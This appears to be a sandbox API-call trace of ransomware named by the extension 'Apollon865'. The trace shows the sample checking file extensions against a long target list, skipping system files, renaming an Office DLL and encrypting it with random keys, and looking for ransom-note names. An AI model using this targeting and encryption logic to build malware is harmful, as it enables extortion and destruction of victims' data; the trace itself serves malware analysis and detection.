	[0084.300] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.300] lstrlenW (lpString="cat") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.300] lstrlenW (lpString="cdb") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.300] lstrlenW (lpString="ckp") returned 3
	[0084.300] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.300] lstrlenW (lpString="cma") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.301] lstrlenW (lpString="cpd") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.301] lstrlenW (lpString="dacpac") returned 6
	[0084.301] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.301] lstrlenW (lpString="dad") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.301] lstrlenW (lpString="dadiagrams") returned 10
	[0084.301] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.301] lstrlenW (lpString="daschema") returned 8
	[0084.301] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.301] lstrlenW (lpString="db-journal") returned 10
	[0084.301] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.301] lstrlenW (lpString="db-shm") returned 6
	[0084.301] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.301] lstrlenW (lpString="db-wal") returned 6
	[0084.301] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.301] lstrlenW (lpString="dbc") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.301] lstrlenW (lpString="dbs") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.301] lstrlenW (lpString="dbt") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.301] lstrlenW (lpString="dbv") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.301] lstrlenW (lpString="dbx") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.301] lstrlenW (lpString="dcb") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.301] lstrlenW (lpString="dct") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.301] lstrlenW (lpString="dcx") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.301] lstrlenW (lpString="ddl") returned 3
	[0084.301] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.301] lstrlenW (lpString="dlis") returned 4
	[0084.301] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.302] lstrlenW (lpString="dp1") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.302] lstrlenW (lpString="dqy") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.302] lstrlenW (lpString="dsk") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.302] lstrlenW (lpString="dsn") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.302] lstrlenW (lpString="dtsx") returned 4
	[0084.302] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.302] lstrlenW (lpString="dxl") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.302] lstrlenW (lpString="eco") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.302] lstrlenW (lpString="ecx") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.302] lstrlenW (lpString="edb") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.302] lstrlenW (lpString="epim") returned 4
	[0084.302] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.302] lstrlenW (lpString="fcd") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.302] lstrlenW (lpString="fdb") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.302] lstrlenW (lpString="fic") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.302] lstrlenW (lpString="flexolibrary") returned 12
	[0084.302] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0084.302] lstrlenW (lpString="fm5") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.302] lstrlenW (lpString="fmp") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.302] lstrlenW (lpString="fmp12") returned 5
	[0084.302] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.302] lstrlenW (lpString="fmpsl") returned 5
	[0084.302] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.302] lstrlenW (lpString="fol") returned 3
	[0084.302] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.303] lstrlenW (lpString="fp3") returned 3
	[0084.303] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.303] lstrlenW (lpString="fp4") returned 3
	[0084.303] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.303] lstrlenW (lpString="fp5") returned 3
	[0084.303] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.303] lstrlenW (lpString="fp7") returned 3
	[0084.303] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.303] lstrlenW (lpString="fpt") returned 3
	[0084.303] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.303] lstrlenW (lpString="frm") returned 3
	[0084.303] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.303] lstrlenW (lpString="gdb") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.304] lstrlenW (lpString="gdb") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.304] lstrlenW (lpString="grdb") returned 4
	[0084.304] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.304] lstrlenW (lpString="gwi") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.304] lstrlenW (lpString="hdb") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.304] lstrlenW (lpString="his") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.304] lstrlenW (lpString="ib") returned 2
	[0084.304] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.304] lstrlenW (lpString="idb") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.304] lstrlenW (lpString="ihx") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.304] lstrlenW (lpString="itdb") returned 4
	[0084.304] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.304] lstrlenW (lpString="itw") returned 3
	[0084.304] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.304] lstrlenW (lpString="jet") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.305] lstrlenW (lpString="jtx") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.305] lstrlenW (lpString="kdb") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.305] lstrlenW (lpString="kexi") returned 4
	[0084.305] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.305] lstrlenW (lpString="kexic") returned 5
	[0084.305] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.305] lstrlenW (lpString="kexis") returned 5
	[0084.305] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.305] lstrlenW (lpString="lgc") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.305] lstrlenW (lpString="lwx") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.305] lstrlenW (lpString="maf") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.305] lstrlenW (lpString="maq") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.305] lstrlenW (lpString="mar") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.305] lstrlenW (lpString="marshal") returned 7
	[0084.305] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.305] lstrlenW (lpString="mas") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.305] lstrlenW (lpString="mav") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.305] lstrlenW (lpString="maw") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.305] lstrlenW (lpString="mdbhtml") returned 7
	[0084.305] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.305] lstrlenW (lpString="mdn") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.305] lstrlenW (lpString="mdt") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.305] lstrlenW (lpString="mfd") returned 3
	[0084.305] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.305] lstrlenW (lpString="mpd") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.306] lstrlenW (lpString="mrg") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.306] lstrlenW (lpString="mud") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.306] lstrlenW (lpString="mwb") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.306] lstrlenW (lpString="myd") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.306] lstrlenW (lpString="ndf") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.306] lstrlenW (lpString="nnt") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.306] lstrlenW (lpString="nrmlib") returned 6
	[0084.306] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.306] lstrlenW (lpString="ns2") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.306] lstrlenW (lpString="ns3") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.306] lstrlenW (lpString="ns4") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.306] lstrlenW (lpString="nsf") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.306] lstrlenW (lpString="nv") returned 2
	[0084.306] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.306] lstrlenW (lpString="nv2") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.306] lstrlenW (lpString="nwdb") returned 4
	[0084.306] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.306] lstrlenW (lpString="nyf") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.306] lstrlenW (lpString="odb") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.306] lstrlenW (lpString="odb") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.306] lstrlenW (lpString="oqy") returned 3
	[0084.306] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.306] lstrlenW (lpString="ora") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.307] lstrlenW (lpString="orx") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.307] lstrlenW (lpString="owc") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.307] lstrlenW (lpString="p96") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.307] lstrlenW (lpString="p97") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.307] lstrlenW (lpString="pan") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.307] lstrlenW (lpString="pdb") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.307] lstrlenW (lpString="pdm") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.307] lstrlenW (lpString="pnz") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.307] lstrlenW (lpString="qry") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.307] lstrlenW (lpString="qvd") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.307] lstrlenW (lpString="rbf") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.307] lstrlenW (lpString="rctd") returned 4
	[0084.307] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.307] lstrlenW (lpString="rod") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.307] lstrlenW (lpString="rodx") returned 4
	[0084.307] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.307] lstrlenW (lpString="rpd") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.307] lstrlenW (lpString="rsd") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.307] lstrlenW (lpString="sas7bdat") returned 8
	[0084.307] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.307] lstrlenW (lpString="sbf") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.307] lstrlenW (lpString="scx") returned 3
	[0084.307] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.308] lstrlenW (lpString="sdb") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.308] lstrlenW (lpString="sdc") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.308] lstrlenW (lpString="sdf") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.308] lstrlenW (lpString="sis") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.308] lstrlenW (lpString="spq") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.308] lstrlenW (lpString="te") returned 2
	[0084.308] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.308] lstrlenW (lpString="teacher") returned 7
	[0084.308] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.308] lstrlenW (lpString="tmd") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.308] lstrlenW (lpString="tps") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.308] lstrlenW (lpString="trc") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.308] lstrlenW (lpString="trc") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.308] lstrlenW (lpString="trm") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.308] lstrlenW (lpString="udb") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.308] lstrlenW (lpString="udl") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.308] lstrlenW (lpString="usr") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.308] lstrlenW (lpString="v12") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.308] lstrlenW (lpString="vis") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.308] lstrlenW (lpString="vpd") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.308] lstrlenW (lpString="vvv") returned 3
	[0084.308] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.308] lstrlenW (lpString="wdb") returned 3
	[0084.309] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.309] lstrlenW (lpString="wmdb") returned 4
	[0084.309] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.309] lstrlenW (lpString="wrk") returned 3
	[0084.309] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.309] lstrlenW (lpString="xdb") returned 3
	[0084.309] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.309] lstrlenW (lpString="xld") returned 3
	[0084.309] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.309] lstrlenW (lpString="xmlff") returned 5
	[0084.309] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.309] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.Apollon865") returned 83
	[0084.309] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.310] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.311] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=152416) returned 1
	[0084.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.311] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.312] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.312] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.312] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25660, lpName=0x0) returned 0x15c
	[0084.316] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25660) returned 0x120000
	[0084.326] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.326] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.326] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.327] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0084.328] CloseHandle (hObject=0x15c) returned 1
	[0084.328] CloseHandle (hObject=0x9c) returned 1
	[0084.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.329] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1
	[0084.329] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.329] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="..") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="windows") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="bootmgr") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="temp") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="boot") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="ids.txt") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="perflogs") returned 1
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="MSBuild") returned 1
	[0084.330] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0084.330] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned 72
	[0084.330] lstrcpyW (in: lpString1=0x119e670, lpString2="XLINTL32.REST.trx_dll" | out: lpString1="XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll"
	[0084.330] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0084.330] lstrlenW (lpString="Apollon865") returned 10
	[0084.330] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0084.330] lstrlenW (lpString=".dll") returned 4
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0084.330] lstrlenW (lpString=".lnk") returned 4
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0084.330] lstrlenW (lpString=".ini") returned 4
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0084.330] lstrlenW (lpString=".sys") returned 4
	[0084.330] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0084.330] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0084.330] lstrlenW (lpString="bak") returned 3
	[0084.330] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.330] lstrlenW (lpString="ba_") returned 3
	[0084.330] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.330] lstrlenW (lpString="dbb") returned 3
	[0084.330] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.330] lstrlenW (lpString="vmdk") returned 4
	[0084.330] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.330] lstrlenW (lpString="rar") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.331] lstrlenW (lpString="zip") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.331] lstrlenW (lpString="tgz") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.331] lstrlenW (lpString="vbox") returned 4
	[0084.331] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.331] lstrlenW (lpString="vdi") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.331] lstrlenW (lpString="vhd") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.331] lstrlenW (lpString="vhdx") returned 4
	[0084.331] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.331] lstrlenW (lpString="avhd") returned 4
	[0084.331] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.331] lstrlenW (lpString="db") returned 2
	[0084.331] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.331] lstrlenW (lpString="db2") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.331] lstrlenW (lpString="db3") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.331] lstrlenW (lpString="dbf") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.331] lstrlenW (lpString="mdf") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.331] lstrlenW (lpString="mdb") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.331] lstrlenW (lpString="sql") returned 3
	[0084.331] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.331] lstrlenW (lpString="sqlite") returned 6
	[0084.331] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.332] lstrlenW (lpString="sqlite3") returned 7
	[0084.332] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.332] lstrlenW (lpString="sqlitedb") returned 8
	[0084.332] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.332] lstrlenW (lpString="xml") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.332] lstrlenW (lpString="$er") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.332] lstrlenW (lpString="4dd") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.332] lstrlenW (lpString="4dl") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
